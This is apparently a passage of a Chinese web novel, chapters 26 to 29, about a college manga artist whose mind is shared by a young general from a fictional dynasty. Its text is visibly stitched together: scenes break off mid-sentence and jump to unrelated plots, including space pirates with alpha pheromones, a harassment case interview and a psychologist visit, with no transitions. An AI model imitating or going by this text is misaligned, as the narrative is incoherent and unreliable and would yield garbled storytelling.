赵敦益面色沉重地点点头。 在杜彦之满心困惑地追问下,他终于吞吞吐吐地吐露了“实情”,“将军……将军,他喜欢少妇。” 杜彦之:……? 赵敦益沉着表情对着对面颔了一下首,示意他没听错。 本朝律令,女子十五不嫁强行婚配,如今连年战乱,许人家的年纪只会比这更早。 十九? 孩子都满地跑了!! 夏乐栎眼神从对面的嘴唇到喉结,感觉放在哪儿都不对。 正心慌气短不知怎么办间,却听周州突然打断,[切蛋糕吧。] 夏乐栎骤然回神。 她半是松了口气,赶紧微不可察地点了下头,把那满脑子不和谐的思想往回塞了塞,强忍心虚地去拿蛋糕刀。 这情绪转折太突兀,商时驹愣了下,很快意识到什么。 他稍微敛下笑意,垂眸扫了眼被放在一旁的蜡烛,又看了看低头切蛋糕的夏乐栎。 ——早点好起来吧。 第 26 章 第 26 章 切完蛋糕吃完饭,商时驹顺手把桌上的外卖盒子收拾了,又熟门熟路地去厨房洗了个抹布过来擦桌子。 看着那结实的小臂在眼前晃来晃去,夏乐栎很没出息地咽了口口水。 抬头就看见周州正在看她。 夏乐栎:“……” 她痛定思痛,“时驹哥,剩下的我来收拾吧,你要是有事的话……”就先走吧。 托周州那一连串操作的福,夏乐栎最后两节课无比清醒。 不过她深深觉得,这“福气”不要也罢。 她宁可像之前那样打瞌睡! 说起打瞌睡来,本来周州提起“上课睡觉”,夏乐栎是挺生气的,但是周州的关注点完全跑偏,夏乐栎很快发现他是真的挺担心的。 夏乐栎:??? 不是?这人翻楼梯跳窗的时候不觉得危险,她就上课睡个觉,哪来的危险?被自己的口水呛到,窒息而死的风险吗?别太离谱啊! 夏乐栎还分神听着课呢,不好出言反驳。 但听周州单方面输出了半天,她终于忍不住:[你别太过分啊,人家是好心叫我。] 她都替刚才那个男生冤得慌。 本来是好心叫个人,结果到了周州嘴里,就成了心怀不轨、有所图谋了。被害妄想症也没有这样的啊?她身上能有什么图的? 周州拖长语调,阴阳怪气:[好心?] 夏乐栎一口肯定:[当然是好心!] 周州“哼”了一声,觉得这小姑娘栎直不知人心险恶,夏乐栎莫名其妙并觉得周州脑子有泡。 双方各执己见,冷战持续到晚饭。 准确地说是持续到食堂打饭的那一刻。 夏乐栎在打饭窗口停了一下,心底有所预感。 果然,下一秒,脑子里的那个声音如常开口点菜。 夏乐栎:“……” 他就没点不好意思吗? 有一说一,这种“有事不过一顿饭”的性格还挺令人羡慕的。 身上多了这么一个吃货,夏乐栎挑食还有点轻微厌食的毛病不药自愈,这会儿吃嘛嘛香。 话虽如此,夏乐栎还是没听周州那恨不得食堂包圆的点菜方式,只是从对方报的菜单里挑了一荤两素,又接着:“三两米饭。” 中午没好好吃饭,她这会确实有点饿了。 打饭的阿姨听完,抬头多看了她一眼。 虽然过程几度波折,但是夏乐栎还是和脑海里的那道声音进行了初步的交流。 确定了自己身上是发生的是灵异事件之后,夏乐栎根据先前的对话就对对方的所处的环境有所猜测。事实也确实和夏乐栎猜想的相去无几,对方正处在工业革命前的封建时代,但朝代却是个没听说过的、名字为“顺”的王朝。 架空么~ 阅遍漫画的夏乐栎对此接受程度良好。 但这仿佛是什么少年漫开端的情况还是让她心里咯噔了一下。 她对自己现在的生活还是挺满意的,可一点儿都不想去拯救世界什么的。 脑海里的那声音听起来年纪不大的样子,但似乎已经是领兵的将军了。 恰巧夏乐栎这次漫画灵感是个爱情故事,家道中落的歌女和少年将军。 意外遇到这种仿佛和男主角撞设定的情况,她当然是趁机问了不少细节……说起来,这该不会是她的金手指吧?漫画人物附身到作者身上什么的。 夏乐栎刚这么想着,就碰了壁。 周州(那声音自我介绍的名字)对自己的事似乎不愿意多谈的样子。夏乐栎不喜欢勉强人,又对别人的情绪非常敏.感,察觉到周州隐约透露的态度,即便心底猫抓似的好奇,还是咽下了一个又一个的问题。 不过就算如此,夏乐栎还是在和对方的交流中得到不少启发。 灵感爆发之下,她大修了自己的背景设定。 一改就改到了凌晨三点。 夏乐栎:? 周州是不知道背地里有这么个有关自己的流言传开,但在他的极度不配合下,吴家想做的这门“生意”还是没能做成。 杜彦之心底暗叹可惜。 不管是对周州,还是对朔州这边,吴家都算得上门好亲事。 周州浑然不觉,等到安思范派来接手锦平的人一到,他立刻拍拍屁股走人,半点多留恋的意思都没有,仿佛那几日彻夜不眠地处理锦平事务的是别人似的。 杜彦之:“……” 他觉得回头还是跟节帅提一提这事吧。 比起赵敦益那没谱的“喜欢少妇”,这瞧着更像没开窍啊…… 成家立业,人若是有了家室,也能更稳重些。 周州还不知道有人正为自己的婚事操碎了心,他这会儿正在跟夏乐栎做交涉,[都在学校闷了一周了,难得周末,你就不想出去转转?] 夏乐栎干脆利落:[不想。] 知道对方想说什么,她非常坚决地堵回去,[周五下午是思政小组讨论,周六周日两天我都要赶漫画进度,没时间!] 前几天夏乐栎给漫画查资料的时候,意外发现本市的博物馆有个冷兵器主题展,时间就在这周,五六日连着三天。 周州当即就盯上了,这两天一直磨着夏乐栎点头。 但问题是,虽说都在A市,从A大到博物馆光来回通勤都要四个小时,稍微仔细点逛逛,一天就没了,就算走马观花,也要半天时间。 刚开学本来就事情多,夏乐栎身上还有个连载漫画,时间表排得满满当当,根本没那个功夫去闲逛。她是多想不开才答应周州这要求?! 不过很显然,周州不会就此放弃。 夏乐栎都想着,如果周州想让她的漫画开天窗,她该怎么回答呢,却不料对方开口,[那就周五上午。] 夏乐栎:[啊?] 周州仿佛很有打算,[我看周五上午就很好。到时候我早点过来,你也早点起床,去赶展览开场,在展馆里逛一上午,完事也好在外面吃个饭。下午回来,正好去你那什么小组讨论……] 这安排听起来还挺合理的,周州说起来头头是道的,连吃饭都顾上了。 但问题是—— 夏乐栎:[我周五上午有课啊!] 还是五节满课。 [翘了嘛~] 周州语气理所当然得让夏乐栎都自我怀疑起来。 还没等夏乐栎说什么,就听对方接着,[我观察过,那两门课都不点名吧?还都是大课,不去也发现不了……而且网上不都说了么,没有翘过课的大学人生是不完整。] 夏乐栎:??? 这人是从哪看来的这些歪理?为什么你一个古代人,仿佛比我还懂的样子? 而且那两节课是不点名,但也不看看那是什么课啊?微积分和线性代数!!平时成绩完全是老师试图保证及格率的手段啊! 夏乐栎噎了噎,一口否决,[总之不行!] 她这么说着,下意识地加快脚步、试图搜寻附近有什么能搭话的熟人来摆脱这个缠人精。 这一看还真看见了一个。 夏乐栎正想过去,却听周州道,[别去了,人家正打电话呢。] 夏乐栎:[……] 她倒是相信周州说的是实话。 这人的观察力实在有点离谱,明明看到的是同样的画面,对方总能做出更精准的判断……嗯、用在高峰期食堂找座位的时候尤其好使。 不过要真如周州所说的,这会儿她还真不好过去。 沈瑶晗,是和夏乐栎同专业的女生。 虽说夏乐栎和对方不同班,但是整个电子信息的女生就那么几个,大家自然而然地熟了起来,夏乐栎也知道沈瑶晗有个异地的男朋友,两人感情很好…… 夏乐栎刚这么想着,就听那边声音一下子拔高,“又是这样!你来之前能不能跟我说一声?!” “惊喜?一点都不惊喜好不好?我这周六有家教……是,之前是周日,但是临时改的……怪我喽?你又没有告诉我!……” 夏乐栎:“……” 看样子是吵架了。 她默默地后退一步,准备悄悄离开。但她还没能走开,就不知道通话的对面说了什么,沈瑶晗愤而挂了电话,恨恨地转过头来,正好和夏乐栎对上了。 阿姨笑眯眯:“难得啊,现在的小姑娘都不好好吃饭。学习这么累,不多补补哪受得了啊……” 阿姨这么说着,打菜的时候非但没有手抖,给了个满勺还多加了点汤。 夏乐栎:“……谢谢阿姨。” 她刷了卡端着餐盘往回走,脑子里的那个声音拿腔拿调地学话道:[听见没有?‘好好吃饭’。] 夏乐栎:[……] 够了!你小学生吗?而且你那叫“好好吃饭”吗?你那叫“暴饮暴食”! 不想和对方争论这个幼稚的话题,夏乐栎维持了先前的冷战状态,根本没搭茬。 她张望了下,见那边欧阳艺还在排队,干脆先找座位,本来食堂高峰期找座位是件挺麻烦的事,但是现在么…… [右手边数五个,再往前两排,那边几个人要吃完了。] 夏乐栎:[……] 这人在吃的上特别积极。 被这么帮了一下,到底不好接着沉默下去。 夏乐栎一边往那个方向走,一边问:[今天有点晚,你那边有事?] 周州倒是半点没有心理障碍,很快应了声,[挺无聊的应酬,见了一群很没意思的人。节目不好看,东西也不好吃,聊的事也很没趣……] 夏乐栎一下子想到了年节前后的亲戚聚餐,再想想周州先前说的时间点,顿时“明白”了对方的意思。 她心有戚戚地点了下头,感慨,[你们那边也快过年了啊。] 周州一愣,[确实快了。] 他沉吟,[不知道义父的人什么时候过来。要是赶早的话,能在年前回去。] 夏乐栎怔了下,才想起来:对啊,对方在打仗啊! 快开学的时候周州才告诉她,这一仗赢了的。她仿佛记得,对方说是“平叛”来着。 夏乐栎按照电视剧得出的经验,迟疑着:[那你这次回去、回京,应该会被封赏吧?升职加薪,呃、升官发财……咳、也不对,我的意思是,叛乱平定,你们的皇帝陛下应该很高兴,又赶上过年,正好适合庆祝……] 夏乐栎怎么说都觉得不太对劲,甚至声音都越来越小。 周州太无缝融入现代生活,搞得她提“皇帝”都觉得很奇怪。正常不应该开口闭口“奉命”“皇命”什么的吗?周州嘴里皇帝存在感也太弱了! 周州:[……] 他沉默了好一会儿,才语调怪异地,[可能……吧。] 孙成举之乱平息固然可喜,但这份年礼由他义父送上去,顺帝该“高兴”得睡不着觉了。 夏乐栎愣住了。 不管是商时驹还是周州,两人都没提过周州的案子是怎么回事,夏乐栎还是第一次听说细节,“千何姐你是说——” 这追问的话没说完,剧场传来提醒的钟声,下半场快开始了。 夏乐栎咽下了刚才的话,“咱们先进去吧。”她回头直接问周州好了。 关千何:“……” 她想着下半场的复仇剧情,脸色一阵青一阵白。 这音乐剧真的能听下去吗?! 第 27 章 第 27 章 夏乐栎在帮周州查资料。 [前两个案子在局里都有留档,不管是被害人还是嫌疑人,留下的资料都很详细。但是我那个案子比较特别,原本的受害人被救下来,嫌疑人也被当场抓获,没有调查取证的这一步,审讯记录也很简单,没什么有效信息……] 夏乐栎听他神色自然地说“我那个案子”,总觉得怪怪的。 周州看出了她的表情有异:[抱歉,是不是太麻烦你了?] 夏乐栎连忙摇头,“没什么。这算什么麻烦?” 救命恩人唉!她帮忙查个资料而已。 [当然不能硬套。]周州的回答倒是直白,但还不等夏乐栎泄气,就听对方接着,[若是这战阵只能给人硬套,那设计出这阵法的人也愧为兵中名家了。] 夏乐栎愣了一下,她不确定地问,[你的意思是,它有用?] 周州低低地“嗯”了声。 当然有用。然而,第二天早上八点,房间门被准时敲响。 夏乐栎睡梦中被这声音惊醒,痛苦地拧紧了眉头。 她翻了个身,正要捞过枕头蒙住头,却突然意识到什么,猛地坐起来。 就在她起身的下一秒,房间门就被打开,夏妈妈开门走了进来。 夏乐栎瞬间清醒过来,先声夺人,“妈!我说了,进我房间要敲门。” 章琪不以为意,“我不是敲过了。” 夏乐栎不大高兴地瘪嘴。 您老那敲和没敲有区别吗? 章琪走上前去拉开窗帘,瞬间明亮的室内让夏乐栎不适的眯了下眼,就在她以为自己蒙混过关的时候,听见她妈问:“昨晚几点睡的?又熬夜了?” 夏乐栎:“……”夏爸爸今天白天不在家,家里只有夏乐栎和妈妈章琪两个人。 虽然只有两人,但是因为夏乐栎久别归家的特别待遇,夏妈妈还是拾掇出来一大桌子菜。 按理说在吃了一个学期食堂之后,吃到久违的母亲的爱心餐,夏乐栎该非常满足才对——昨天确实是这样——不过现在的她心事重重,完全没什么胃口。怕被亲妈看出什么不对,夏乐栎还是强装自然地拿起了筷子,味同嚼蜡……不,非常好吃! 夏乐栎:??? 她当然知道她妈做饭好吃,毕竟这是从小吃到大、养活了一个极度挑食的她的亲妈饭。但是现在这是怎么回事? 她才刚扒了一口饭进到嘴里,就觉得入口绵软,米粒晶莹饱满、香气浓郁,没有一点糠皮残留…… 夏乐栎懵逼地低头看碗。 这就是普通的大米饭吧?!哪有那么香? 她这么想着,手又不受控制地往嘴里扒了一口。 一大口。 夏乐栎:??? 她艰难地把那口快把她噎死的饭咽下去,迟疑抬头:“妈,咱们家换米了?” 章琪却误会了女儿的意思,“对,是上次超市减价大促销的时候买的。你嘴刁得、这都能吃出来……先将就一下吧,等你爸晚上回来,让他顺道去趟超市、买点新米。” “不,不用。”夏乐栎连忙摇头,她眼神怪异地盯着碗里的饭看了半天,低声喃喃,“我觉得这米还挺好吃的。” 看着从小到大、吃饭都是头等难事的女儿大口扒饭,章琪表情也变得疑惑起来:真这么好吃? 她不确定地看了看自己碗里的饭,试探地挑了了一点尝尝,好像确实挺香的。 “那以后就买这个牌子了。” ——最后,她这么拍板决定道。 正忙着扒饭的夏乐栎口齿不清地应了一声。 “别光吃饭,吃菜。” 夏妈妈这么说着,夹了一筷子没刺的鱼腹肉到夏乐栎碗里。 夏乐栎百忙之中抽空“嗯”了一声,拌着饭填到了嘴里。 浓烈的味道在舌尖泛开,咸度适中、层次丰富,没有一点腥气…… 夏乐栎:??? 够了啊!她知道她妈做饭好吃,但只是家常菜而已,这仿佛什么星级大厨的感觉是怎么回事?! 她内心挣扎着,筷子却不受控制地伸向餐桌。 章琪本来在旁边看着挺高兴的,这孩子从小吃饭是难题、能多吃两口都谢天谢地,还严重挑食,不吃的东西栎直能列个长单子,她都不记得对方上次吃得这么香是什么时候了。 但这么高兴着高兴着,又难过起来。 孩子在外面得饿成什么样、才吃得这么狼吞虎咽啊? 章琪这么看着,脑子里浮现了一个模糊的念头。 她顿了顿,试探开口:“要不妈妈在你学校附近租个房子?” 夏乐栎一愣,一下子就吓清醒了。 她大声:“妈?你工作不要了?!” 章琪显然早有打算,“可以办个长期病休。实在不行就辞了,在A市也可以找工作。” 夏乐栎:救命!! 她当然知道她妈妈很爱她,但有时候真的很窒息。 在经过摆事实讲道理,终于说服她妈打消了这个可怕的念头,夏乐栎身心俱疲地松口气:栎直比跑完八百米还累。 这件事本身都已经很心累了,可心底还有一个怪异的、和她完全不在一个频道上的情绪:或许可以说是“期待”? 确实是期待。 似乎看夏乐栎终于解决完了事情,对方主动开口点菜,[我想吃那个。] 夏乐栎:心累x2。 她顺着脑子里的念头看过去,正看见一盘子油汪汪的五花肉。 夏乐栎:?与此同时,后车厢。 刚刚站起来、还被刹车晃了一下的两个男生:“……” 两人对视了一眼,橘羽绒男生干咽了一口,小声,“我觉得你可以再考虑考虑。” 这位学姐看起来脾气不太好的样子。 章琪也看见了女儿视线落点,也“明白”夏乐栎的迟疑。 她习以为常地伸过筷子,将五花肉外层的肥肉夹掉,这才开口示意,“吃吧。” 肉炖的时间很长,早就变得软烂,筷子一夹,外层的油脂就脱离开来,只留下上层带着点油脂夹层而不柴的瘦肉。但看着那一层Q弹油润的脂肪垫被夹走,夏乐栎感受到了从心底涌起一股失望情绪。??? 她居然很想吃五花肉上的那层的大肥肉?! 疯了吧? 哦,确实疯了。 (陈述语气) 托这个过于诡异的念头的福,一上桌就被各种乱七.八糟事情打断的夏乐栎终于把思绪拉回了正轨、想起正事来了。 她定了定神,放缓了自己的扒饭动作,对着她妈询问:“我记得我爸爸的表姑是不是被送到精神病医院过?” 章琪奇怪地看了女儿一眼:“你怎么突然想起这个来了?” 本来就是关系很远的亲戚了,以当代年轻人断亲状况,夏乐栎知道有这么个人都是难得,更别说主动打听了。 夏乐栎又往嘴里填了一筷子茄子,含糊:“没什么,就是突然想起来了,问一问。” 章琪也没有多想,只当女儿好奇。 她点了下头肯定了夏乐栎的询问,就跟女儿说起了那家的情况,“他们家也不容易,你秀芹表姑奶奶就那么一个儿子……” 夏妈妈在那里感慨别人的家事,但是夏乐栎却满脑子复杂的思绪。 ——有了,家族遗传病史! 她支支吾吾:“也没几点,十点多……十一、二点吧。” 自己养的女儿,尾巴一翘就知道朝哪个方向,章琪一看就知道这孩子没说真话。 她当即肃下表情,待要说什么,转念又想到孩子才刚回来没几天。 她略微压下了那情绪,神情缓和,不过还是开口告诫,“以后不许那么晚睡了。” 夏乐栎非常诚恳地“嗯嗯嗯”点头。 下次是下次嘛~ 章琪拉开了窗帘,就顺势整理起了桌上的杂物,一眼就看见夏乐栎睡前没来得及收的数位板。她拧了拧眉,语气不满,“又画那些没用的?” 夏乐栎表情微微僵硬。 她停顿了下,小声辩驳:“……不是没用的。” 章琪没听清。 她一边把数位板放起来,一边絮絮叨叨地嘀咕着,“早知道就不送你去学这些了,净影响学习。” 夏乐栎使劲抿紧了唇。 她明明没有。 不需要挑选天资卓著的勇士,但与之相对的—— 周州低喃,[……练兵。] 重要的是“练兵”。 让士卒接受、熟悉,并将这种配合视为本能。 周州的声音很低,但是意识交流倒是不存在听不听得清的问题。 夏乐栎闻言,连忙打开之前的收藏:《纪效新书》白话翻译对照版。 [你要不要看看这个?] 提起鸳鸯阵当然免不了提起戚家军,提起戚家军就要想起这本《纪效新书》。 但是夏乐栎看了个开头就放弃了。 虽然网络知识共享很方便,完全排除了文言文障碍,但是老实说,夏乐栎看得还是一头雾水:每一个字都认识,组合起来的意思也能看明白,可就是隔了一层——完全是字面理解、看完看了个寂寞的感觉异常明显。 她非常坦诚地承认,[我看不懂。] 周州听不出情绪地“嗯”了一下。 看出来了。 从那个鸳鸯阵整理的资料就知道,这彻彻底底是个外行……或者更早一点,看对方画铠甲的时候就知道了。 他沉默了一会儿,轻声问:[……为什么?] 夏乐栎手指还摁在鼠标上,不明所以,[什么‘为什么’?] [整理这些东西很费力吧?还很耗时间。] 夏乐栎顿了下,[就……还好。] 确实有点废人。 周州:[对你又没有什么好处。] 夏乐栎不自觉拧眉,[‘好处’什么的……]也太冷漠了吧。 [你遇到了问题,我刚好能够帮上忙,顺手帮一下,不是很正常吗?] 周州:[‘我’?你好像不太喜欢我吧?] 夏乐栎:……原来你有这种自知之明啊。 事情被戳穿,夏乐栎反而心虚起来。 她支吾了下,[也、也没有不喜欢啦。] 虽然有时候确实挺烦的。 觉得再进行下去可能话题不妙,夏乐栎试图绕过这个它去,[和这个没关系啦,人不就应该互帮互助吗?] “互帮互助”吗? 周州琢磨了一下这个词,突然问:[就算我是个坏人?] 夏乐栎下意识回,[就算——] 心理医生顿了下,确认:“你是指‘不是性内容’?” 商时驹蹙着眉点头。 快速地将整个咨询流程兼来访者之间的互动回顾了一下,医生摘下了眼镜,按了按眉心,冷静地,“首先,梦里出现熟人很正常,一般来说,大部分人不会为此特意进行一次心理咨询。” “其次,”他顿了一下,抬头看向对面,“我这里暂时还没有开展恋爱业务的打算。” 商时驹表情瞬间凝固。 他下意识否认,“我没有!” “我建议你好好想想。” 医生看了眼他攥得发白的手指节,“感情本身并非错误,不合适的面对和处理才是。” 第 28 章 第 28 章 “……在财务报表分析中,我们该如何看待资产负债表与现金流量表之间的关系?评估企业持续经营能力时,这两份报表的协同分析……” 台上的女人一身剪裁合体的女士西装,满脸自信地侃侃而谈,夏乐栎在台下露出尴尬而不失礼貌的微笑:每个字都明白,组合在一起就完全听不懂了呢。 她回顾着这两天临时抱佛脚的学习,拼命地在纸上记各种专业名词,免得待会儿一开口就露馅。 周州就在旁边,自然看清了夏乐栎的动作。 他本来就觉得自己前天的松口是鬼使神差,这会儿自然开始劝退,[要是不行就算了,以后有机会再说。] ——“我是谁?” 夏乐栎被商时驹问得结结实实懵了一下。 她总算没完全醉过去,答案脱口而出之前闭上了嘴,商时驹现在的自我认知可不是联盟的商上将。 他这个赏金猎人的假名是什么来着?亨特、怀特还是巴雷特? 夏乐栎蹙眉沉思的表情实在太明显,商时驹想装看不到都没办法。 他冷着脸把夏乐栎从自己身上抱起来放在一边,翻身下床站到了一边。 夏乐栎不解的看他,目光有点控制不住地往下三路瞄。 商时驹倒是一点都没有遮掩的意思,反而很坦然地对着夏乐栎笑了一下,但表情却很冷淡,“我不和认不出人的醉鬼上.床。夫人要是真的有需要的话,酒醒了再来找我?” 夏乐栎:?夏乐栎对于“星盗抢地盘”的事一点也不感兴趣,没有参与商时驹对浮水星的行动。 她留在主舰上,等商时驹的行动结果。 现在还在休养阶段的星熠也被留下了。 但商时驹对他不太放心,干脆在拘.禁.区开了个单间,把星熠也扔进去了,免得这小子突然想起点什么来发疯。 星舰上限制活动的空间有限,弗斯也被关在这里。 父子俩隔着透明的墙壁材料面面相觑,商时驹特意没打开隔音壁,很人性地给他们留出了交流的空间。 和这些天一众早出晚归的星盗不同,弗斯这个前老大是被彻底剥离活动自由了。 虽然没能出去,但他有眼睛,能看见星盗的变化。 弗斯本来以为来人是来抓星熠的,那么他们这帮人是无论如何都活不了。虽不知道对方把他们放到星舰上关着是几个意思,但是绝对不会有好下场,说不定就打算用他们来做什么人体实验。 可接下来的发展完全出乎他的意料。 一群人虽说每天回来都累成个死狗,时不时地身上带伤,有时候往舰板上一倒就鼾声大作,但除此之外居然没有别的什么了。别说虐.打拷问了,星舰上完全是给吃给喝地养着,一段时日下来,连精气神都变了,如果说以前是第八域里谁都能踩一脚的底层混混,那么现在看起来像是正规军。 ……正规军?商时驹被毛犀告知情况之后,当即扔下手上的东西急匆匆地赶过来。 但是过来以后却看见夏乐栎好端端地在医疗室坐着,完全不像是有什么事的样子。 空气中还有没有散干净的alpha信息素,驳杂的味道让商时驹不自觉地皱紧了眉,用了十足的自制力才没用自己的信息素把这片地方洗刷干净。 商时驹的表情肉眼可见的难看,夏乐栎打量了两眼,到底还是解释:“不知道毛犀怎么和你说的,但是我没事。” 商时驹:“嗯?” 夏乐栎:“我没有腺.体。你可以理解为beta中对信息素极度不敏.感的类型。” 商时驹稍微愣了下,倒是想起前几天医疗室的事情。 这么说来,对方也不一定是拒绝的意思了? 夏乐栎看了眼商时驹的神情。 很好,没露出什么痛心疾首,仿佛她遭受了重大创伤的表情。 商时驹要是真的这么表现了,夏乐栎不确定自己会不会把人轰出去。 ——她完全不觉得自己身上需要什么多余的构造。 因为商时驹这反应,夏乐栎心情总算稍微好转了点,再看对方也显得顺眼了许多,也有心关切询问:“明天去浮水星?准备得怎么样?” “还行。”提起这个,商时驹露出点差强人意的神色,“虽然配合还是一团糟,但是总算有点团队意识,拿下一个三级矿星还是绰绰有余的。” 他顿了一下,又自然而然地接上,“联盟那边,还没有找到失踪的研究员的人选吗?” 问问另一边的调查进度而已,不是拉踩。 这么想着,他暗戳戳地用自己的信息素把房间里涮了一遍,也免得再有哪个不长眼的易感乐的alpha来医疗室——只是为了安全起见的保护措施,绝对没什么别的意思。 夏乐栎倒是没察觉商时驹那点小动作,她倒是挺理解布罗德那边为什么久还没出结果,不由替对方解释,“母亲的学生很多的,而且时间跨度很大。” 弗斯若有所思。 “你这几天都干什么了?” 拘禁室里只有两个人,弗斯这话当然是问星熠的。 只不过他从星熠一进来就摆明了一副拒绝交流的状态,这会儿星熠愣了好一阵儿,才意识到这话是对他说的。 他有点不知所措,但还是紧绷着一张脸,一板一眼地回答,“起床,整理内务,吃早饭,检查,精神力延展性训练……” 弗斯越听眉头皱得越紧。 这是对实验体的态度吗?还是曾经出逃过一次的实验体。他本来以为最好的结果是,星熠老老实实听话,能在被完全监.禁的情况下留一条命。 星熠的声音不知道什么时候停下来,他眼巴巴地看着弗斯,难得主动尝试沟通:“我参加L计划了。她答应我了,养好身体就让我参加L计划。只要项目成功,我的精神力等级就能提高。” 弗斯愣了下,总算想起来自己之前赶人走那一番话,一时心情颇为复杂,“你……” 没说完的话被突然传来的嘈杂声打断。 拘.禁.区有特定的隔音区域,一踏入区域内,喧闹的声音顿时传来。 “你掐我一下!快掐我一下,咱们真的拿下一颗矿星当基地!!” “嘶~你还真动手啊?!”几天之后。 一众星盗早就不复第一天驾驶巡逻舰时的兴奋,那边主舰刚刚做出停止攻击的姿态,所有人都松了口气。 通讯频道安静了半晌,有人小声询问:“结束了?” 回答的人的语气也带着十分的不确定,“大概?” 看样子是结束了,但是结束得这么早,实在不合常理。 众人还在嘀咕着,主舰的登陆入口打开,看起来今天的“殴打”确实是结束了。 几人松了口气,但是仍旧不敢一窝蜂地往入口冲,而是小心翼翼地保持着队形,试探着接触。一直到真的进入舰舱之中,才终于彻底懈怠下来。 “今天居然真的这么早?” “老大转性了?” 众人一边从巡逻舰上下来,一边七嘴八舌地讨论着,但是声音越来越小,不知道什么时候彻底安静下来。 褐发青年站在机甲旁的维修梯上,抱臂似笑非笑地看着这边。 一群人飞速闭嘴,十分熟练地找了一条线,立正站好排成一列,心底止不住哀嚎:不会今天从星舰作战变成机甲殴打了吧?不要啊!! 商时驹看着这一群稍微不那么菜的菜鸡,依旧十分嫌弃。但扫视了一圈,到底开口,“今天放半天假,明天实战摸底。” “疼?那是真的,矿星啊,那可是三级矿星啊,我当时从矿洞里逃出来的时候,可没想到还有今天,居然真的打回来了。” “不知道第59区的管理是不是那个老科赫,要真的是,嘿嘿嘿,我老早就想拿鞭子抽那张肥脸了……” 他们说的是浮水星。 意识到这一点后,弗斯总算明白过来先前和商时驹谈话中隐隐的异样。 他被套话了! ——去TM的实验室,这两个根本不是来抓星熠的! 目送着商时驹毫不留恋离开的背影,她抱着被子表情茫然了好一会儿。 旧式挂钟滴答作响的声音在空荡荡的房间里回响,许久,夏乐栎终于意识到什么。 她稍微往下蹭了蹭,一点点把自己缩回被子里。直到把整张脸都埋进了布料下面,她才闷闷地笑出了声。 原来商时驹以为—— ……噗哈哈这人还挺会给自己找刺激的! 三人就近找了个咖啡店。 商时驹简略地解释过这边想要再了解点情况,就很干脆地把问话权交给了夏乐栎。 其实也不是夏乐栎在问,主要是她在给周州当嘴替。 因为完全没预料到情况会进展到这样,夏乐栎什么都没准备,这会儿只能在周州的指导下,翻了一页新的笔记本,准备做笔录——未曾设想的人生体验又增加了。 “你当时报案说你被前男友骚扰了。能说说你们分手多久了?他的骚扰情况是什么时候开始的?都具体做了什么吗?” 邓立微目光疑惑地在两个人身上打了个转儿,到底还是选择回答了夏乐栎的问题,“快四年了,这期间一直没有联系,但是三个月……现在说是四个月。四个月前,他突然说想见我,我回绝他了,但是他在我公司楼下等,我那时候刚入职事务所,担心他闹出来什么风言风语,就跟他走了。” “能说说那天的见面情况吗?” 想起了些不愉快的回忆,邓立微的表情不大好,但回答的语气还算平静,“他有点激动,说我进了大公司就看不上他了,忘恩负义,不记得以前他帮我的事,要我补偿……”她神情很淡地嗤了声,“他大概又出去赌了,欠了债还不上,找上了我。” 夏乐栎做记录的笔顿了下。 这被“举债后走投无路,不得不xx”的剧情怎么这么熟啊?上个偷了老师画的人,现在尸体都凉了。 第 29 章 第 29 章 夏乐栎本来觉得“被逼债走投无路”的发展特别熟悉,但是猜测却被周州否定了,[作案无非是为钱为感情或者一时情绪,“被逼债”是个很常见的理由。] 夏乐栎:对不起,是我见识少了。 周州接着,[而且邓女士知道的有限,这人不是为钱,只是单纯的感情报复。] 夏乐栎:? 她有点想问是怎么回事,余光就瞥见刚刚出去送人的商时驹回来了。见此,她也只能把到嘴边的话憋回去,接着在周州的指示下当个合格的人工翻页器、翻着笔录的记录给对方看。 放假?!对于一众被关起来的星盗而言,虽然新老大给的门禁时间颇为严格,但是这并不能阻挡他们的热情。因为新老大的待遇实在太好了! 到了每日的放风时间,几架巡逻舰从主舰脱离,撒欢一样的行为模式简直像是什么未开化的原始星土著。 通讯频道一连串的“哈哈哈”的魔性笑声,倒也不乏对新老大的彩虹屁和正驾驶着的巡逻舰的喜爱。 不过这些花式表忠心商时驹一句都没听见。 这个通讯频道太吵,商时驹一早就把它静音了。 “艹!这上面居然还有小型能量炮!!” 说话的人是一个头发上挑染了一缕白色的女性alpha,她在原本的星舰上就负责攻击,这会儿第一个发现巡逻舰上的火力系统,就自然而然地手痒想试试。 结果瞄准系统没有调试好,一发能量炮擦着主舰的舰身而过,正撒欢的小团体霎时一静。 毛犀,也就是攻击的那个人忙不迭地出声,“老大!我不是有意的!!” 商时驹当然是听不见这解释的。 一群人眼睁睁地看着那艘庞然大物的主舰缓缓拉开距离,摆出了攻击的架势。 星盗众:“……”商时驹通过监控旁观着那边的争执,忍不住都要鼓鼓掌叫句好了。 父子情深,真感人。夏乐栎无心留意这么多,通讯一接通,她就开门见山:“你帮我查一下,母亲的学生里,近些年间无故失踪和身故的有哪些人。” 布罗德本来就因为这通预料之外的通讯颇感意外,听到夏乐栎的要求更是讶异,“发生什么了?” 夏乐栎简单把这边的情况和自己推测说了。 布罗德听完之后点头,“好的,我了解了,有结果后我会尽快告诉你的。倒是你……” 他本来想让夏乐栎先回来的,毕竟对方要真的以这种手段从联盟绑架研究员,夏乐栎在外域的处境就很不安全了。 但是开口之前,目光却在画面的背景处顿住了。 门旁的挂钩处,挂着一件格格不入的男性外套,用脚趾头想想都知道是谁的。 圈占地盘的行为还真是够老套的。 布罗德心底嘲讽地嗤笑了下,但是终究把话咽下去了。 既然那个人都没说什么,大概是对这一行的安全有把握,看来不用他来操这个心。 完全没觉得自己点亮了什么大反派的技能点,看着少年被一通臭骂后失魂落魄地走出拘禁室,商时驹甚至觉得这会儿该吃点什么来下饭。 一直到少年在回廊上踉跄了几步,跌倒在地上,抱着头痛苦地蜷成一团,商时驹才终于觉出不对。 他拧了拧眉,正准备去看看情况。 但对方却很快清醒过来,路线明确地直奔医疗室。 商时驹又坐回去了。 他本来以为这小子终于有点成为俘虏的自觉,准备安安稳稳接受监管,却不料对方在像是很困惑地在医疗室逡巡了一圈,然后又出去了。 商时驹看着那小子仿佛在自己地盘上大摇大摆的行动模式,着实迷惑了一会儿。 刚才那一跤把人脑子摔坏了? 因为一早预料到这小子晚上不会老实,商时驹在医疗室附近的巡逻设置的都是报警模式,没有主动攻击。少年像是对此习以为常,甚至尝试问路。 商时驹:??? 真把这儿当成自己家了? 但是真的确定对方目的地后,商时驹脸色一变,再也坐不住地直奔另一边的休息室而去。 几分钟后,大半夜地被敲开门的夏乐栎茫然地看着门口的人。她打了个哈欠,询问的音调也带着点刚醒的惺忪,“有事?” 商时驹先是因为这带着鼻音的慵懒调子怔了一瞬,然后目光不受控地落在那纤白的脖颈上。 